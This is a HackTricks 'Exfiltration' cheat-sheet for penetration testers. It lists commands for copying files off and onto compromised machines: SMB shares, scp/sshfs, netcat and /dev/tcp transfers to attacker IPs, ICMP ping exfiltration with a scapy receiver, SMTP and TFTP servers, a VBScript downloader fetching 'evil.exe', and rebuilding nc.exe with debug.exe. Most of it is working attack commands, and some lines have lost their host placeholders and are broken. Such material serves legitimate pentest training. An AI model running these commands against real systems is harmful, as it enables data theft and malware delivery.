# Exfiltration

HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

\ **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ### SMB Kali as server ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` Or create a smb share **using samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes #Start samba service smbd restart ``` Windows ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` ### SCP The attacker has to have SSHd running. ```bash scp @:/ ``` ### SSHFS If the victim has SSH, the attacker can mount a directory from the victim to the attacker. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ### NC ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ### /dev/tcp #### Download file from victim ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` #### Upload file to victim ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` thanks to **@BinaryShadow\_** ### **ICMP** ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done #This will 4bytes per ping packet (you could probably increase this until 16) ``` ```python from scapy.all import * #This is ippsec receiver created in the HTB machine Mischief def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: data = pkt[ICMP].load[-4:] #Read the 4bytes interesting print(f"{data.decode('utf-8')}", flush=True, end="") sniff(iface="tun0", prn=process_packet) ``` ### **SMTP** If you can send data to an SMTP server, you can create an SMTP to receive the data with python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ### TFTP By default in XP and 2003 (in others it needs to be explicitly added during installation) In Kali, **start TFTP server**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` **TFTP server in python:** ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` In **victim**, connect to the Kali server: ```bash tftp -i get nc.exe ``` ### PHP Download a file with a PHP oneliner: ```bash echo "" > down2.php ``` ### VBScript ```bash Attacker> python -m SimpleHTTPServer 80 ``` **Victim** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs ``` ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ### Debug.exe This is a crazy technique that works on Windows 32 bit machines. The idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`. `Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that: ``` upx -9 nc.exe ``` Now it only weighs 29 kb. Perfect. So now let's disassemble it: ``` wine exe2bat.exe nc.exe nc.txt ``` Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe ### DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)

HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥